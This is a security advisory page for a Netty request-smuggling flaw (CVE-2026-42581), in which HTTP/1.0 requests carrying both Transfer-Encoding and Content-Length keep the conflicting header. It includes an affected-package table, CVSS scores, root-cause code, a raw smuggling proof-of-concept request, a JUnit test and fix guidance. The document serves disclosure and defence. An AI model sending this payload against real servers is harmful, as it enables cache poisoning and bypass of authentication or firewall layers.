5.8medium
Netty: HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization
- Severity
- 5.8medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.63% (higher than 51% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-xxqh-mfjm-7mv9
Description
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| netty netty | >= 4.2.0.Alpha1, < 4.2.13.Final, < 4.1.133.Final, before 4.1.133, from 4.2.0 before 4.2.13 | CVE List, NVD |
| cryostat/cryostat-reports-rhel9 | Not specified Not affected: from 4.2.0-10 before * | CVE List |
| cryostat/cryostat-rhel9 | Not specified Not affected: from 4.2.0-10 before * | CVE List |
| cryostat/jfr-datasource-rhel9 | Not specified Not affected: from 4.2.0-10 before * | CVE List |
| netty | Not specified Not affected: from codec-http before * | CVE List |
| Red Hat Red Hat build of Quarkus 3.33.2 | Not specified | CVE List |
| eap7-activemq-artemis | Not specified Not affected: from 0:2.16.0-22.redhat_00057.1.el7eap before *, from 0:2.16.0-22.redhat_00057.1.el8eap before *, from 0:2.16.0-22.redhat_00057.1.el9eap before * | CVE List |
| eap7-glassfish-jsf | Not specified Not affected: from 0:2.3.14-11.SP11_redhat_00001.1.el7eap before *, from 0:2.3.14-11.SP11_redhat_00001.1.el8eap before *, from 0:2.3.14-11.SP11_redhat_00001.1.el9eap before * | CVE List |
| eap7-ironjacamar | Not specified Not affected: from 0:1.5.26-2.Final_redhat_00001.1.el7eap before *, from 0:1.5.26-2.Final_redhat_00001.1.el8eap before *, from 0:1.5.26-2.Final_redhat_00001.1.el9eap before * | CVE List |
| eap7-jackson-annotations | Not specified Not affected: from 0:2.18.8-1.redhat_00003.1.el7eap before *, from 0:2.18.8-1.redhat_00003.1.el8eap before *, from 0:2.18.8-1.redhat_00003.1.el9eap before * | CVE List |
| eap7-jackson-core | Not specified Not affected: from 0:2.18.8-1.redhat_00003.1.el7eap before *, from 0:2.18.8-1.redhat_00003.1.el8eap before *, from 0:2.18.8-1.redhat_00003.1.el9eap before * | CVE List |
| eap7-jackson-databind | Not specified Not affected: from 0:2.18.8-1.redhat_00003.1.el7eap before *, from 0:2.18.8-1.redhat_00003.1.el8eap before *, from 0:2.18.8-1.redhat_00003.1.el9eap before * | CVE List |
| eap7-jackson-jaxrs-providers | Not specified Not affected: from 0:2.18.8-1.redhat_00003.1.el7eap before *, from 0:2.18.8-1.redhat_00003.1.el8eap before *, from 0:2.18.8-1.redhat_00003.1.el9eap before * | CVE List |
| eap7-jackson-modules-base | Not specified Not affected: from 0:2.18.8-1.redhat_00003.1.el7eap before *, from 0:2.18.8-1.redhat_00003.1.el8eap before *, from 0:2.18.8-1.redhat_00003.1.el9eap before * | CVE List |
| eap7-jackson-modules-java8 | Not specified Not affected: from 0:2.18.8-1.redhat_00003.1.el7eap before *, from 0:2.18.8-1.redhat_00003.1.el8eap before *, from 0:2.18.8-1.redhat_00003.1.el9eap before * | CVE List |
| eap7-jboss-remoting | Not specified Not affected: from 0:5.0.31-3.SP2_redhat_00001.1.el7eap before *, from 0:5.0.31-3.SP2_redhat_00001.1.el8eap before *, from 0:5.0.31-3.SP2_redhat_00001.1.el9eap before * | CVE List |
| eap7-jboss-server-migration | Not specified Not affected: from 0:1.10.0-46.Final_redhat_00044.1.el7eap before *, from 0:1.10.0-46.Final_redhat_00044.1.el8eap before *, from 0:1.10.0-46.Final_redhat_00044.1.el9eap before * | CVE List |
| eap7-netty | Not specified Not affected: from 0:4.1.135-1.Final_redhat_00001.1.el7eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el8eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el9eap before * | CVE List |
| eap7-netty-transport-native-epoll | Not specified Not affected: from 0:4.1.135-1.Final_redhat_00001.1.el7eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el8eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el9eap before * | CVE List |
| eap7-picketlink-bindings | Not specified Not affected: from 0:2.5.5-30.SP12_redhat_00020.1.el7eap before *, from 0:2.5.5-30.SP12_redhat_00020.1.el8eap before *, from 0:2.5.5-30.SP12_redhat_00020.1.el9eap before * | CVE List |
| eap7-picketlink-federation | Not specified Not affected: from 0:2.5.5-24.SP12_redhat_00016.1.el7eap before *, from 0:2.5.5-24.SP12_redhat_00016.1.el8eap before *, from 0:2.5.5-24.SP12_redhat_00016.1.el9eap before * | CVE List |
| eap7-undertow | Not specified Not affected: from 0:2.2.40-2.SP3_redhat_00001.1.el7eap before *, from 0:2.2.40-1.SP3_redhat_00001.1.el8eap before *, from 0:2.2.40-1.SP3_redhat_00001.1.el9eap before * | CVE List |
| eap7-wildfly | Not specified Not affected: from 0:7.4.25-2.GA_redhat_00001.1.el7eap before *, from 0:7.4.25-2.GA_redhat_00001.1.el8eap before *, from 0:7.4.25-2.GA_redhat_00001.1.el9eap before * | CVE List |
| io.netty/netty-codec-http | Not specified Not affected: from 4.1.135.Final-redhat-00001 before * | CVE List |
| eap8-eap-product-conf-parent | Not specified Not affected: from 0:801.7.1-1.GA_redhat_00001.1.el10eap before *, from 0:801.7.1-1.GA_redhat_00001.1.el8eap before *, from 0:801.7.1-1.GA_redhat_00001.1.el9eap before * | CVE List |
| eap8-netty | Not specified Not affected: from 0:4.1.135-1.Final_redhat_00001.1.el10eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el8eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el9eap before * | CVE List |
| eap8-netty-transport-native-epoll | Not specified Not affected: from 0:4.1.135-1.Final_redhat_00001.1.el10eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el8eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el9eap before * | CVE List |
| eap8-wildfly | Not specified Not affected: from 0:8.1.7.1-1.GA_redhat_00004.1.el10eap before *, from 0:8.1.7.1-1.GA_redhat_00004.1.el8eap before *, from 0:8.1.7.1-1.GA_redhat_00004.1.el9eap before * | CVE List |
| eap8-jose4j | Not specified Not affected: from 0:0.9.6-2.redhat_00002.1.el8eap before *, from 0:0.9.6-2.redhat_00002.1.el9eap before * | CVE List |
| rhoai/odh-modelmesh-rhel9 | Not specified Not affected: from 1783443816 before * | CVE List |
| rhoai/odh-trustyai-service-rhel9 | Not specified Not affected: from 1788198681 before * | CVE List |
| devspaces/openvsx-rhel9 | Not specified Not affected: from 1780948325 before * | CVE List |
| devspaces/pluginregistry-rhel9 | Not specified Not affected: from 1780696380 before * | CVE List |
| devspaces/server-rhel9 | Not specified Not affected: from 1780694994 before * | CVE List |
| devspaces/multicluster-redirector-rhel9 | Not specified Not affected: from 1782989027 before * | CVE List |
| openshift-serverless-1/kn-ekb-dispatcher-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-ekb-receiver-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9 | Not specified | CVE List |
| netty-codec-http | Not specified | CVE List |
| rhbk/keycloak-rhel9 | Not specified | CVE List |
| rhbk/keycloak-rhel9-operator | Not specified | CVE List |
| rhbk-openshift-rhel9/rhbk-openshift-rhel9 | Not specified | CVE List |
| rhbk-rhel9-operator/rhbk-rhel9-operator | Not specified | CVE List |
| bazel6 | Not specified | CVE List |
| bazel7 | Not specified | CVE List |
| bazel8 | Not specified | CVE List |
| rhoai/odh-modelmesh-rhel8 | Not specified | CVE List |
| rhoai/odh-spark-operator-rhel9 | Not specified | CVE List |
| rhoai/odh-th06-cpu-torch210-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-th06-cpu-torch291-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-th06-cuda130-torch210-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-th06-cuda130-torch291-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-th06-rocm64-torch291-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-trustyai-service-rhel8 | Not specified | CVE List |
| candlepin | Not specified | CVE List |
| satellite:el8/candlepin | Not specified | CVE List |
| io.netty:netty-codec-http (Maven) | from 4.2.0.Alpha1 before 4.2.13.Final, before 4.1.133.Final | GitHub Advisory Database |
All scores
| GitHub_M | 5.8medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N |
| redhat-SADP | 7.2high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| GitHub | 5.8medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N |
| NVD | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
GitHub Advisory Database
NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization
| Field | Value |
|---|---|
| Library | io.netty:netty-codec-http |
| Component | codec-http — HttpObjectDecoder |
| Severity | HIGH |
| Affects | HEAD, commit 4f3533ae confirmed |
Summary
HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.
Root Cause
// HttpObjectDecoder.java:828-833
if (HttpUtil.isTransferEncodingChunked(message)) {
this.chunked = true;
if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) {
handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only
}
return State.READ_CHUNK_SIZE;
}
// HttpObjectDecoder.java:870-873
protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {
message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);
contentLength = Long.MIN_VALUE;
}
The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP_1_1. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.
Proof of Concept
POST /api HTTP/1.0\r\n
Host: internal.example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 0\r\n
\r\n
5\r\n
GPOST\r\n
0\r\n
\r\n
Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.
Conditions Required
- Netty is deployed behind a reverse proxy or load balancer that is
Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes). - Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).
- No additional HTTP/1.0 stripping layer between attacker and Netty.
Impact
Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.
Confirmed PoC Test
Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.
package io.netty.handler.codec.http;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.util.CharsetUtil;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
public class NettySmugglingSec001Test {
// VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict
@Test
public void http10_contentLengthNotStripped() {
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
ch.writeInbound(Unpooled.copiedBuffer(
"POST /api HTTP/1.0\r\n" +
"Transfer-Encoding: chunked\r\n" +
"Content-Length: 0\r\n" +
"\r\n" +
"5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));
HttpRequest req = ch.readInbound();
assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());
// Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request
assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped");
ch.finishAndReleaseAll();
}
// SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict
@Test
public void http11_contentLengthStripped() {
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
ch.writeInbound(Unpooled.copiedBuffer(
"POST /api HTTP/1.1\r\n" +
"Transfer-Encoding: chunked\r\n" +
"Content-Length: 0\r\n" +
"\r\n" +
"5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));
HttpRequest req = ch.readInbound();
assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped");
ch.finishAndReleaseAll();
}
}
Fix Guidance
Remove the message.protocolVersion() == HttpVersion.HTTP_1_1 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.
NVD (es)
Netty es un framework de aplicación de red asíncrono y basado en eventos. Antes de 4.2.13.Final y 4.1.133.Final, HttpObjectDecoder elimina un encabezado Content-Length conflictivo cuando una solicitud lleva tanto Transfer-Encoding: chunked como Content-Length, pero solo para mensajes HTTP/1.1. La protección está ausente para HTTP/1.0. Un atacante que envía una solicitud HTTP/1.0 con ambos encabezados hace que Netty decodifique el cuerpo como chunked mientras deja Content-Length intacto en el HttpMessage reenviado. Cualquier proxy o gestor posterior que confíe en Content-Length sobre Transfer-Encoding discrepará sobre los límites de los mensajes, lo que permite el contrabando de solicitudes. Esta vulnerabilidad está corregida en 4.2.13.Final y 4.1.133.Final.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-42581 changed 2026-09-18 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-xxqh-mfjm-7mv9 changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-42581 changed 2026-11-11 | Public domain |